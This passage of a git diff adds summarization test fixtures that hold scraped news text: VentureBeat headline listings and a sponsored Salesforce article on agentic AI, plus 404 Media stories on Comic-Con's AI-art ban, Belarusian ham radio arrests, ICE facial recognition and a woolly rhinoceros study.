Why Egnyte keeps hiring junior engineers despite the rise of AI coding tools The approach challenges a dominant 2025 narrative that automation will replace developers, showing instead how enterprises are using AI to scale engineering capacity while keeping humans firmly in the loop. Taryn Plumb January 13, 2026 Credit: VentureBeat made with Seedream v4.5 on fal.ai This new, dead simple prompt technique boosts accuracy on LLMs by up to 76% on non-reasoning tasks In the chaotic world of Large Language Model (LLM) optimization, engineers have spent the last few years developing increasingly esoteric rituals to get better answers. Carl Franzen January 13, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Partner Content How DoorDash scaled without a costly ERP overhaul Presented by NetSuite VB Staff January 12, 2026 Credit: VentureBeat, generated with MidJourney Orchestral replaces LangChain’s complexity with reproducible, provider-agnostic LLM orchestration A new framework from researchers Alexander and Jacob Roman rejects the complexity of current AI tools, offering a synchronous, type-safe alternative designed for reproducibility and cost-conscious science. Emilia David January 9, 2026 Partner Content How KPMG is redefining the future of SAP consulting on a global scale Presented by SAP VB Staff January 9, 2026 Credit:Image generated by VentureBeat with FLUX-2-Pro Nvidia’s Vera Rubin is months away — Blackwell is getting faster right now Nvidia has been able to increase Blackwell GPU performance by up to 2.8x per GPU in a period of just three short months. Sean Michael Kerner January 9, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_security_salesforce-research-across-the-c-suite-trust-is-the-key-to-scaling-agentic.txt b/tests/summarization/https___venturebeat.com_security_salesforce-research-across-the-c-suite-trust-is-the-key-to-scaling-agentic.txt new file mode 100644 index 0000000..ae2da06 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_security_salesforce-research-across-the-c-suite-trust-is-the-key-to-scaling-agentic.txt @@ -0,0 +1,2 @@ +Partner Content Salesforce Research: Across the C-suite, trust is the key to scaling agentic AI VB Staff January 21, 2026 Presented by Salesforce In 2025, Salesforce conducted a series of C-suite research studies to capture if and how top decision-makers are building an agentic AI strategy. While the research shows positive signals like agent adoption is expected to surge 327% over the next two years, the dominant one is clear: leaders may be racing to deploy AI agents, but unlocking real value hinges on trust in data, systems, employees, and, above all, the leadership guiding the change. Trust is the connective tissue that determines whether companies can actually scale AI agents and unlock the value they’re projecting. At Salesforce, this trust imperative is operationalized through Agentforce. The Agentforce 360 Platform, the foundational layer of the company's agentic platform, embeds trust directly into how agents reason, act, and collaborate with humans. This ensures leaders can implement agentic AI at scale. "As organizations scale AI agents, trust becomes the accelerator," says Joe Inzerillo, chief digital officer of Salesforce. “When leaders trust their data, their systems, and their governance, AI moves from experimentation to enterprise impact. Trust isn’t a constraint; it’s the foundation that allows companies to move faster, align teams, and unlock the full value of the agentic enterprise.” Trust is the accelerator — and the bottleneck Quality data, security, and employee adoption are the pillars of trust, according to the research among hundreds of CIOs, CFOs and CHROs: One of CIOs’ top two fears around AI implementation is a lack of trusted data 66% of CFOs say security or privacy threats keep them up at night regarding their AI strategy Chief HR Officers (CHROs) see trust through the lens of their people: 73% say their employees remain unaware of how AI agents will impact their work “What’s striking is how aligned leaders have become around trust,” Inzerillo says. “Whether it’s CIOs wrestling with data quality, CFOs scrutinizing security risk, or CHROs focused on employee adoption, the message is the same. Agentic AI only works when trust is built end-to-end technically, operationally, and culturally.” The good news is that a study from IDC found that preparation is key. CEOs prepared to implement AI agents/digital labor are nearly two times more invested in ethics, governance, and guardrails than those who aren’t prepared. To help leaders accelerate agentic AI value, the Agentforce 360 Platform embeds these key pillars of trust — data quality, security, and employee adoption — directly into its architecture. The Einstein Trust Layer ensures data security and accuracy through real-time grounding, while prioritizing employee adoption by embedding autonomous agents directly into the natural flow of work. With Agentforce, humans and agents are poised to work together. CIOs: Trusted data and context must be embedded into the flow of work CIOs are turning agentic AI ambition into action - the Salesforce study among this audience found that AI budgets have nearly doubled, with CIOs saying they are dedicating 30% of this budget to agentic AI. But data fears loom large and only 23% of CIOs are completely confident they are investing in AI with built-in data governance. ‘Built-in’ is the key: 93% of CIOs say the successful adoption of AI agents in the workplace hinges on its integration within the flow of everyday work. As Salesforce CIO Daniel Shmitt points out, “Embedding AI into the flow of work and building trust into every step helps everyone move faster and with more confidence.” CFOs: Budgets rely on trust Today, CFOs are all-in on agentic AI. Five years ago, 70% were sticking with conservative AI strategies. That number has now plummeted to only 4%, with a third adopting an aggressive approach. But trepidation remains; 66% say security and privacy threats are their top concern, signaling that trust directly drives whether they approve budgets. “The introduction of digital labor isn’t just a technical upgrade — it represents a decisive and strategic shift for CFOs,” said Robin Washington, president and chief operating and financial officer at Salesforce. “With AI agents, we’re not merely transforming business models; we’re fundamentally reshaping the entire scope of the CFO function. This demands a new mindset as we expand beyond financial stewards to also become architects of agentic enterprise value.” CHROs: Organizational resilience is essential Meanwhile, Chief HR Officers (CHROs) are working to build trust among teams in order to ensure employees feel confident that they will work alongside agents and be given opportunities to reskill and grow. In fact, 86% of CHROs say that integrating AI agents/digital labor alongside their existing workforce will be a critical part of their job and 81% of HR chiefs plan to reskill their employees for better job opportunities in the era of agentic AI. HR leaders are vital to ensuring organizational resilience since 73% say their employees don’t yet understand how AI agents/digital labor will impact their work. “We’re in the midst of a once-in-a-lifetime transformation of work with digital labor that is unlocking new levels of productivity, autonomy, and agency at a speed never before thought possible,” says Nathalie Scardino, president and chief people officer at Salesforce. “Every industry must redesign jobs, reskill, and redeploy talent — and every employee will need to learn new human, agent, and business skills to thrive in the digital labor revolution.” Embedding trust in AI technology “A trusted AI foundation gives companies the confidence to move quickly and scale AI responsibly across every workflow to power the agentic enterprise,” says Inzerillo. “When trust is built into the platform, teams can experiment continuously in production, with humans driving judgment and agents delivering scale.” The Salesforce trusted AI foundation delivers three core capabilities that make the Agentforce 360 Platform accurate, explainable, and secure, including: Context and accuracy, ensuring outputs are grounded in unified business data and knowledge. Built-in trust, security, and compliance to embed visibility, control, and compliance into every workflow. Developing an open and unified platform by connecting agents, data, and semantics across ecosystems to avoid lock-in and ensure consistency. “If we were building this technology ourselves, we would have to assume the burden of the cybersecurity, upkeep, maintenance, and scalability of it,” says Josiah Bryan, CTO and lead AI researcher at Precina. “Salesforce invests so beautifully and so heavily in cybersecurity that we can trust Salesforce to take care of our patients’ data as well as we take care of our patients.” “The agentic enterprise won’t be won by the fastest model or the flashiest demo,” Inzerillo says. “It will be won by the companies that earn trust with their boards, their employees, and their customers, and can turn that trust, through platforms like the Agentforce 360 Platform, into velocity, quality, and measurable business value.” Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Image: Nvidia Nvidia Rubin's rack-scale encryption signals a turning point for enterprise AI security Nvidia's Vera Rubin NVL72 delivers rack-scale confidential computing. After GTG-1002 proved adversaries can automate intrusions, CISOs need cryptographic proof, not contractual trust. Louis Columbus January 12, 2026 The 11 runtime attacks breaking AI security — and how CISOs are stopping them Field CISOs explain how inference security platforms stop prompt injection, model extraction, and 9 other AI runtime attacks as CrowdStrike reports 51-second breach times. Louis Columbus January 9, 2026 Seven steps to AI supply chain visibility — before a breach forces the issue Federal SBOM mandates stop at the model file. With 62% of enterprises lacking LLM visibility and EU AI Act fines reaching €35M, AI-BOMs are becoming a boardroom priority. Louis Columbus January 2, 2026 Legacy IAM was built for humans — and AI agents now outnumber them 82 to 1 CyberArk data shows machine identities outnumber humans 82 to 1, yet 88% of organizations still govern only human identities as privileged. Security leaders share what to do now. Louis Columbus December 30, 2025 Credit: Made by VentureBeat in Midjourney The enterprise voice AI split: Why architecture — not model quality — defines your compliance posture Enterprise voice AI has fractured into three architectural paths. The choice you make now will determine whether your agents are auditable, governable, and deployable in regulated environments over the next two years. Ujas Patel December 26, 2025 Credit: Made by VentureBeat in Midjourney OpenAI admits prompt injection is here to stay as enterprises lag on defenses OpenAI acknowledges prompt injection will never be fully solved. VentureBeat data shows most enterprises remain unprotected against the threat. Louis Columbus December 24, 2025 Credit: Created by VentureBeat in Midjourney Red teaming LLMs exposes a harsh truth about the AI security arms race Unrelenting, persistent attacks on frontier models make them fail, with the patterns of failure varying by model and developer. Red teaming shows that it’s not the sophisticated, complex attacks that can bring a model down; it’s the attacker automating continuous, random attempts that will inevitably force a model to fail. Louis Columbus December 22, 2025 Credit: VentureBeat, generated with MidJourney Enterprise AI coding grows teeth: GPT‑5.2‑Codex weaves security into large-scale software refactors With the recent release of GPT 5.2, OpenAI updated other related models, including its popular coding model Codex, bringing more agentic use cases to its fold. Emilia David December 18, 2025 Credit: VentureBeat made with Nano Banana Pro on Fal.ai Echo raises $35M to secure the enterprise cloud's base layer — container images — with autonomous AI agents As enterprises accelerate the deployment of LLMs and agentic workflows, they are hitting a critical infrastructure bottleneck: the container base images powering these applications are riddled with inherited security debt. Carl Franzen December 16, 2025 How Anthropic's safety obsession became enterprise AI's killer feature Conventional wisdom says enterprises choose AI models based on their current and potential capabilities. The market says otherwise. Anthropic now commands 40% of enterprise LLM spend versus OpenAI's 27%, a complete reversal from 2023. The reason isn't that Claude is smarter. It's that Claude is more predictable. Louis Columbus December 16, 2025 Created by VentureBeat using Imagen Anthropic vs. OpenAI red teaming methods reveal different security priorities for enterprise AI Model providers want to prove the security and robustness of their models, releasing system cards and conducting red-team exercises with each new release. But it can be difficult for enterprises to parse through the results, which vary widely and can be misleading. Louis Columbus December 4, 2025 Created by VentureBeat using Imagen AI models block 87% of single attacks, but just 8% when attackers persist One malicious prompt gets blocked, while ten prompts get through. That gap defines the difference between passing benchmarks and withstanding real-world attacks — and it's a gap most enterprises don't know exists. Louis Columbus December 1, 2025 +============== diff --git a/tests/summarization/https___www.404media.co_behind-the-blog-putting-the-puzzle-together_.txt b/tests/summarization/https___www.404media.co_behind-the-blog-putting-the-puzzle-together_.txt new file mode 100644 index 0000000..a266438 --- /dev/null +++ b/tests/summarization/https___www.404media.co_behind-the-blog-putting-the-puzzle-together_.txt @@ -0,0 +1,2 @@ +404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. This is Behind the Blog, where we share our behind-the-scenes thoughts about how a few of our top stories of the week came together. This week, we discuss the staying power of surveillance coverage, the jigsaw of reporting, and eyestrain. JASON: I’ve started this year in the same way I spent a lot of last year: Writing about the automated license plate reader company Flock. In my career it’s been sort of weird for me to focus on one company or one thing so much for so long. I tend to get a little restless about the topics I cover, and there can sometimes be a very real fatigue with specific types of stories. After a while, people “get it,” and so the bar for a new story on a topic keeps going up. I wish this weren’t the case, and we try to cover things we feel are important, but if you’re writing about a topic and no one is reading it, then the audience might be telling you they don’t find that thing interesting anymore. This has not yet been the case with Flock, somewhat to my surprise. I’ve been writing about surveillance technologies for a long time, and it’s rare for a specific company or specific type of technology to hold people’s interest and attention for too long. This post is for paid members only Become a paid member for unlimited ad-free access to articles, bonus podcast content, and more. Subscribe Sign up for free access to this post Free members get access to posts like this one along with an email round-up of our week's stories. Subscribe Already have an account? Sign in +============== diff --git a/tests/summarization/https___www.404media.co_comic-con-bans-ai-art-after-artist-pushback_.txt b/tests/summarization/https___www.404media.co_comic-con-bans-ai-art-after-artist-pushback_.txt new file mode 100644 index 0000000..0cad496 --- /dev/null +++ b/tests/summarization/https___www.404media.co_comic-con-bans-ai-art-after-artist-pushback_.txt @@ -0,0 +1,2 @@ +San Diego Comic-Con changed an AI art friendly policy following an artist-led backlash last week. It was a small victory for working artists in an industry where jobs are slipping away as movie and video game studios adopt generative AI tools to save time and money. Every year, tens of thousands of people descend on San Diego for Comic-Con, the world’s premier comic book convention that over the years has also become a major pan-media event where every major media company announces new movies, TV shows, and video games. For the past few years, Comic-Con has allowed some forms of AI-generated art at this art show at the convention. According to archived rules for the show, artists could display AI-generated material so long as it wasn’t for sale, was marked as AI-produced, and credited the original artist whose style was used. “Material produced by Artificial Intelligence (AI) may be placed in the show, but only as Not-for-Sale (NFS). It must be clearly marked as AI-produced, not simply listed as a print. If one of the parameters in its creation was something similar to ‘Done in the style of,’ that information must be added to the description. If there are questions, the Art Show Coordinator will be the sole judge of acceptability,” Comic-Con’s art show rules said until recently. These rules have been in place since at least 2024, but anti-AI sentiment is growing in the artistic community and an artist-led backlash against Comic-Con’s AI-friendly language led to the convention quietly changing the rules. Twenty-four hours after artists called foul the AI-friendly policy, Comic-Con updated the language on its site. “Material created by Artificial Intelligence (AI) either partially or wholly, is not allowed in the art show,” it now says. AI is now banned at the art show. Comic and concept artist Tiana Oreglia told 404 Media Comic-Con’s friendly attitude towards AI was a slippery slope towards normalization. “I think we should be standing firm especially with institutions like Comic-Con which are quite literally built off the backs of artists and the creative community,” she said. Oreglia was one of the first artists to notice the AI-friendly policy. In addition to alerting her circle of friends, she also wrote a letter to Comic-Con itself. Artist Karla Ortiz told 404 Media she learned about the AI-friendly policy after some fellow artists shared it with her. Ortiz is a major artist who has worked with some of the major studios who exhibit work at Comic-Con. She’s also got a large following on social media, a following she used to call out Comic-Con’s organizers. “Comic-con deciding to allow GenAi imagery in the art show—giving valuable space to GenAi users to show slop right NEXT to actual artists who worked their asses off to be there—is a disgrace!” Ortiz said in a post on Bluesky. “A tone deaf decision that rewards and normalizes exploitative GenAi against artists in their own spaces!” According to Ortiz, the convention is a sacred place she didn’t want to see desecrated by AI. “Comic-Con is the big mecca for comic artists, illustrators, and writers,” she said. “I organize and speak with a lot of different artists on the generative AI issue. It’s something that impacts us and impacts our lives. A lot of us have decided: ‘No, we’re not going to sit by the sidelines.’” Oritz explained that generative AI was already impacting the livelihood of working artists. She said that, in the past, artists could sustain themselves on long projects for companies that included storyboarding and design. “Suddenly the duration of projects are cut,” she said. “They got generative AI to generate a bunch of references, a bunch of boards. ‘We already did the initial ideation, so just paint this. Paint what generative AI has generated for us.’” Ortiz pointed to two high profile examples: Marvel using AI to make the title sequence for Secret Invasion and Coca-Cola using AI to make Christmas commercials. “You have this encroaching exploitative technology impacting almost every single level of the entertainment industry, whether you’re a writer, or a voice actor, or a musician, a painter, a concept artist, an illustrator. It doesn’t matter…and then to have Comic-Con, that place that’s supposed to be a gathering and a celebration of said creatives and their work, suddenly put on a pedestal the exploitative technology that only functions because of its training on our works? It’s upsetting beyond belief.” “What is Comic-Con trying to tell the industry?” She said, “It’s telling artists: ‘Hey you, you’re exploitable and you’re replaceable.’” Ortiz was heartened that Comic-Con changed its policy. “It was such a relief,” she said. “Generative AI is still going to creep its nasty way in some way or another, but at least it’s not something we have to take lying down. It’s something we can actively speak out against.” Comic-Con did not respond to 404 Media’s request for comment, but Oreglia said she did hear back from art show organizer Glen Wooten. “He basically told me that they put those AI stipulations in when AI was just starting to come around and that the inability to sell AI-generated works was meant to curtail people from submitting genAI works,” she said. “He seems to be very against genAI but wasn't really able to change the current policy until artists voiced their opinions loudly which pressured the office into banning AI completely.” Despite changing policies and broad anti-AI sentiment among the artistic community, Oreglia has still seen an uptick of AI art at conventions. “Although there are many cons that ban it outright and if you get caught selling it you basically will get banned.” This happened to a vendor at Dragon Con last September. Organizers called police to escort the vendor off the premises. “And I was tabling at Fanexpo SF and definitely saw genAI in the dealers hall, none in the artists alley as far as I could see though but I mostly stuck to my table,” she said. “I was also at Emerald City Comic Con last year and they also have a no-ai policy but fanexpo doesn't seem to have those same policies as far as I know.” AI image generators are trained on original artwork so whatever output a tool like Midjourney creates is based on an artist’s work, often without compensation or credit. Oreglia also said she feels that AI is an artistic dead end. “Everything interesting, uplifting, and empowering I find about art gets stripped away and turned into vapid facsimiles based on vibes and trendy aesthetics,” she said. 404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. About the author Matthew Gault is a writer covering weird tech, nuclear war, and video games. He’s worked for Reuters, Motherboard, and the New York Times. More from Matthew Gault +============== diff --git a/tests/summarization/https___www.404media.co_feds-create-drone-no-fly-zone-that-would-stop-people-filming-ice_.txt b/tests/summarization/https___www.404media.co_feds-create-drone-no-fly-zone-that-would-stop-people-filming-ice_.txt new file mode 100644 index 0000000..192e2d7 --- /dev/null +++ b/tests/summarization/https___www.404media.co_feds-create-drone-no-fly-zone-that-would-stop-people-filming-ice_.txt @@ -0,0 +1,2 @@ +404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. The Federal Aviation Administration put a drone no fly zone within 3,000 feet of “Department of Homeland Security facilities and mobile assets,” according to a notice to airmen posted by the government. The no fly zone is the same type that the U.S. uses to restrict consumer drones over military bases and Department of Energy (DOE) research centers and facilities. The order appears to attempt to criminalize the use of drones to film Immigration and Customs Enforcement and DHS employees who are detaining people all over the country. This post is for paid members only Become a paid member for unlimited ad-free access to articles, bonus podcast content, and more. Subscribe Sign up for free access to this post Free members get access to posts like this one along with an email round-up of our week's stories. Subscribe Already have an account? Sign in +============== diff --git a/tests/summarization/https___www.404media.co_ham-radio-operators-in-belarus-arrested-face-the-death-penalty_.txt b/tests/summarization/https___www.404media.co_ham-radio-operators-in-belarus-arrested-face-the-death-penalty_.txt new file mode 100644 index 0000000..a3af7c8 --- /dev/null +++ b/tests/summarization/https___www.404media.co_ham-radio-operators-in-belarus-arrested-face-the-death-penalty_.txt @@ -0,0 +1,2 @@ +The Belarusian government is threatening three ham radio operators with the death penalty, detained at least seven people, and has accused them of “intercepting state secrets,” according to Belarusian state media, independent media outside of Belarus, and the Belarusian human rights organization Viasna. The arrests are an extreme attack on what is most often a wholesome hobby that has a history of being vilified by authoritarian governments in part because the technology is quite censorship resistant. The detentions were announced last week on Belarusian state TV, which claimed the men were part of a network of more than 50 people participating in the amateur radio hobby and have been accused of both “espionage” and “treason.” Authorities there said they seized more than 500 pieces of radio equipment. The men were accused on state TV of using radio to spy on the movement of government planes, though no actual evidence of this has been produced. State TV claimed they were associated with the Belarusian Federation of Radioamateurs and Radiosportsmen (BFRR), a long-running amateur radio club and nonprofit that holds amateur radio competitions, meetups, trainings, and forums. WhatsApp and email requests to the BFRR from 404 Media were not returned. On Reddit, Siarhei Besarab, a Belarusian amateur radio operator, posted a plea for support from others in the hobby: “MAYDAY from Belarus: Licensed operators facing death penalty.” “I am writing this because my local community is being systematically liquidated in what I can only describe as a targeted intellectual genocide,” Besarab wrote. “They have detained over 50 licensed people, including callsigns EW1ABT, EW1AEH, and EW1ACE. These men were paraded on state television like war criminals and were coerced to publicly repent for the "crime" of technical curiosity. Propagandists presented the Belarusian Federation of Radioamateurs and Radiosportsmen (BFRR) as a front for a ‘massive spy network.’” “State propaganda unironically claims these men were ‘pumping state secrets out of the air’ using nothing more than basic $25 Baofeng handhelds and consumer-grade SDR dongles,” he added. “Any operator knows that hardware like this is physically incapable of cracking the modern AES-256 digital encryption used by government security forces. It is a technical fraud, yet they are being charged with High Treason and Espionage. The punishment in Belarus for these charges is life in prison or the death penalty.” The Belarusian human rights group Viasna and its associated Telegram channel confirmed the detention and said that it spoke to a cellmate of Andrei Repetsi, who said that Repetsi was unable to talk about his case in jail: “The case is secret, so Andrei never told the essence of the case in the cell. He joked that his personal file was marked ‘Top secret. Burn before reading,’” Viasna wrote. Most hams operate amateur radios for fun, as part of competitions, or to keep in touch with other hams around the world. But the hobby has a long history of being attacked by governments in part because it is resistant to censorship. Amateur radio often works even if a natural disaster or political action takes down internet, cell, and phone services, so it is popular among people interested in search and rescue and doomsday prepping. Amateur radio has been used to share information out of Cuba, for example, and in 2021 the Cuban government jammed ham radio frequencies during anti-government protests there. About the author Jason is a cofounder of 404 Media. He was previously the editor-in-chief of Motherboard. He loves the Freedom of Information Act and surfing. More from Jason Koebler +============== diff --git a/tests/summarization/https___www.404media.co_how-wikipedia-will-survive-in-the-age-of-ai-with-wikipedias-cto-selena-deckelmann_.txt b/tests/summarization/https___www.404media.co_how-wikipedia-will-survive-in-the-age-of-ai-with-wikipedias-cto-selena-deckelmann_.txt new file mode 100644 index 0000000..fc7d2f2 --- /dev/null +++ b/tests/summarization/https___www.404media.co_how-wikipedia-will-survive-in-the-age-of-ai-with-wikipedias-cto-selena-deckelmann_.txt @@ -0,0 +1,2 @@ +Wikipedia is turning 25 this month, and it’s never been more important. The online, collectively created encyclopedia has been a cornerstone of the internet decades, but as generative AI started flooding every platform with AI-generated slop over the last couple of years, Wikipedia’s governance model, editing process, and dedication to citing reliable sources has emerged as one of the most reliable and resilient models we have. And yet, as successful as the model is, it’s almost never replicated. This week on the podcast we’re joined by Selena Deckelmann, the Chief Product and Technology Officer at the Wikimedia Foundation, the nonprofit organization that operates Wikipedia. That means Selena oversees the technical infrastructure and product strategy for one of the most visited sites in the world, and one the most comprehensive repositories of human knowledge ever assembled. Wikipedia is turning 25 this month, so I wanted to talk to Selena about how Wikipedia works and how it plans to continue to work in the age of generative AI. Listen to the weekly podcast on Apple Podcasts, Spotify, or YouTube. Become a paid subscriber for early access to these interview episodes and to power our journalism. If you become a paid subscriber, check your inbox for an email from our podcast host Transistor for a link to the subscribers-only version! You can also add that subscribers feed to your podcast app of choice and never miss an episode that way. The email should also contain the subscribers-only unlisted YouTube link for the extended video version too. It will also be in the show notes in your podcast player. Wikipedia’s value in the age of generative AI The Editors Protecting Wikipedia from AI Hoaxes Wikipedia Pauses AI-Generated Summaries After Editor Backlash Wikipedia Says AI Is Causing a Dangerous Decline in Human Visitors Jimmy Wales Says Wikipedia Could Use AI. Editors Call It the 'Antithesis of Wikipedia' About the author Emanuel Maiberg is interested in little known communities and processes that shape technology, troublemakers, and petty beefs. Email him at emanuel@404media.co More from Emanuel Maiberg +============== diff --git a/tests/summarization/https___www.404media.co_ices-facial-recognition-app-misidentified-a-woman-twice_.txt b/tests/summarization/https___www.404media.co_ices-facial-recognition-app-misidentified-a-woman-twice_.txt new file mode 100644 index 0000000..23848de --- /dev/null +++ b/tests/summarization/https___www.404media.co_ices-facial-recognition-app-misidentified-a-woman-twice_.txt @@ -0,0 +1,2 @@ +404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. When authorities used Immigration and Customs Enforcement’s (ICE) facial recognition app on a detained woman in an attempt to learn her identity and immigration status, it returned two different and incorrect names, raising serious questions about the accuracy of the app ICE is using to determine who should be removed from the United States, according to testimony from a Customs and Border Protection (CBP) official obtained by 404 Media. ICE has told lawmakers the app, called Mobile Fortify, provides a “definitive” determination of someone’s immigration status, and should be trusted over a birth certificate. The incident, which happened last year in Oregon, casts doubt on that claim. 💡 Do you know anything else about this app? Do you work at ICE or CBP? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co. This post is for paid members only Become a paid member for unlimited ad-free access to articles, bonus podcast content, and more. Subscribe Sign up for free access to this post Free members get access to posts like this one along with an email round-up of our week's stories. Subscribe Already have an account? Sign in +============== diff --git a/tests/summarization/https___www.404media.co_ohio-mail-theft-postal-worker-robbery_.txt b/tests/summarization/https___www.404media.co_ohio-mail-theft-postal-worker-robbery_.txt new file mode 100644 index 0000000..4f18eeb --- /dev/null +++ b/tests/summarization/https___www.404media.co_ohio-mail-theft-postal-worker-robbery_.txt @@ -0,0 +1,2 @@ +404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. This article was produced in collaboration with Court Watch, an independent outlet that unearths overlooked court records. To subscribe to Court Watch, click here. A serial mail thief’s alleged robbery spree ended after he posted photos of stolen credit cards and bins of mail to his Instagram Stories on the same day he robbed a carrier at knifepoint. Jordan McCorvey, a 32-year-old man in Ohio, allegedly robbed a USPS letter carrier’s truck while they were on their delivery route on November 28. The carrier told investigators two men approached their truck with a knife and demanded access to the truck, according to the affidavit, and when the carrier unlocked the truck and gave them access, they took a tray of mail. The description of one of the suspects matched a man who investigators already knew as “a known mail thief with criminal history related to possession of stolen mail and bank fraud,” the complaint says. The same day as the theft, McCorvey’s Instagram accounts—with the usernames "2corkmoney," "Icorkmoneybaby," and "cork2saucy”—posted photos of him flipping through stacks of mail still in the USPS tray, showing the same zip code on the letters as the carrier’s stolen deliveries. For the next few days, more evidence appeared on McCorvey’s Instagram Stories, where he uploaded photos and videos “involving banking transactions and other various posts connected to financial institutions,” according to the complaint. “These posts included solicitations for individuals with bank accounts or other related financial information.” In one photo, a man—it’s not clear from the complaint whether it’s McCorvey— celebrates in front of a Wells Fargo ATM, holding a card in the air, with a Wells Fargo branch tagged as a location sticker on the photo. This isn’t the first time an alleged criminal outed himself by bragging on social media and in public. Idriss Qibaa, the man who ran an extortion scheme called Unlocked4Life.com that promised to unlock clients’ social media accounts, admitted on the popular No Jumper podcast that he was the one locking people’s accounts to extort them out of thousands of dollars, which helped the FBI charge him. McCorvey was arrested on January 9 in Columbus. Mail theft is a federal crime and McCorvey could face fines and up to five years in prison. About the author Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex. More from Samantha Cole +============== diff --git a/tests/summarization/https___www.404media.co_podcast-heres-what-palantir-is-really-building_.txt b/tests/summarization/https___www.404media.co_podcast-heres-what-palantir-is-really-building_.txt new file mode 100644 index 0000000..51f66b9 --- /dev/null +++ b/tests/summarization/https___www.404media.co_podcast-heres-what-palantir-is-really-building_.txt @@ -0,0 +1,2 @@ +404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. We start this week with Joseph’s article about ELITE, a tool Palantir is working on for ICE. After the break, Emanuel tells us how AI influencers are making fake sex tape-style photos with celebrities, who can’t be best pleased about it. In the subscribers-only section, Matthew breaks down Comic-Con’s ban of AI art. Listen to the weekly podcast on Apple Podcasts, Spotify, or YouTube. Become a paid subscriber for access to this episode's bonus content and to power our journalism. If you become a paid subscriber, check your inbox for an email from our podcast host Transistor for a link to the subscribers-only version! You can also add that subscribers feed to your podcast app of choice and never miss an episode that way. The email should also contain the subscribers-only unlisted YouTube link for the extended video version too. It will also be in the show notes in your podcast player. ‘ELITE’: The Palantir App ICE Uses to Find Neighborhoods to Raid Instagram AI Influencers Are Defaming Celebrities With Sex Scandals Comic-Con Bans AI Art After Artist Pushback 404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. About the author Joseph is an award-winning investigative journalist focused on generating impact. His work has triggered hundreds of millions of dollars worth of fines, shut down tech companies, and much more. More from Joseph Cox +============== diff --git a/tests/summarization/https___www.404media.co_scientists-make-stunning-find-inside-prehistoric-wolfs-stomach_.txt b/tests/summarization/https___www.404media.co_scientists-make-stunning-find-inside-prehistoric-wolfs-stomach_.txt new file mode 100644 index 0000000..3617adb --- /dev/null +++ b/tests/summarization/https___www.404media.co_scientists-make-stunning-find-inside-prehistoric-wolfs-stomach_.txt @@ -0,0 +1,2 @@ +Welcome back to the Abstract! These are the studies this week that entered the belly of the beast, craved human blood, exposed primate bonds, and pranked birds First, a prehistoric chew toy for a puppy opens a window into a doomed lineage. Then: why saving species could save your own skin, the dazzling diversity of same-sex behavior in primates, and the exploits of asexual yams. As always, for more of my work, check out my book First Contact: The Story of Our Obsession with Aliens or subscribe to my personal newsletter the BeX Files. I’m so hungry, I could eat a woolly rhinoceros Guðjónsdóttir, Sólveig et al. “Genome Shows no Recent Inbreeding in Near-Extinction Woolly Rhinoceros Sample Found in Ancient Wolf's Stomach.” Genome Biology and Evolution. Record scratch, freeze frame: Yep, that's me, an Ice Age woolly rhinoceros in a mummified wolf stomach. You’re probably wondering how I got into this situation. Well, the good news is that it was not because I am inbred, according to a new study. That’s my pitch for a movie based on the true story of some half-digested woolly rhinoceros (Coelodonta antiquitatis) remains that were wolfed down by a permafrost-preserved pupsicle from 14,400 years ago. Incredibly, scientists were able to sequence the genome of the rhino, which revealed that this individual still had a high level of genetic diversity in its lineage, and no signs of inbreeding. Considering that woolly rhinos vanished from the fossil record around 14,000 years ago, this study suggests that they may have experienced a very sudden population collapse, rather than a gradual demise. The piece of woolly rhino tissue found inside the stomach of the Tumat-1 puppy. Image: Love Dalén/Stockholm University. “While Late Pleistocene remains of woolly rhinoceros are numerous, very few remains exist from around the estimated time of extinction,” said researchers led by Sólveig M. Guðjónsdóttir of Stockholm University. At 14,400 years old, the mummified tissue found in the wolf is “one of the youngest known woolly rhinoceros remains.” “Given our results, we suggest that any change at the genomic level associated with the species extinction must have taken place during the last few hundred years of the species' existence,” the team added. “We conclude that their decline toward extinction likely occurred rapidly after ∼14,400 years ago, most likely driven by rapid changes in environmental conditions.” In other words, the last supper of a wolf that died when giant ice sheets still covered much of the Northern Hemisphere has opened a window into the rich heritage of this rhinoceros—and the sudden downfall that awaited its relatives. And for anyone interested in cryptids, the authors note that the “last appearance dates in the fossil record do not exclude the possibility that the species persisted for longer.” Does this mean that woolly rhinos live on in some untrammeled wilderness to this day? Definitely not, they are dunzo. But it does raise the tantalizing question of when and where the last woolly rhino took its final steps, ending a long and storied line. In other news… Save wildlife, stay off the menu Alves, Dálete Cássia Vieira et al. Aspects of the blood meal of mosquitoes (Diptera: culicidae) during the crepuscular period in Atlantic Forest remnants of the state of Rio de Janeiro, Brazil. Frontiers 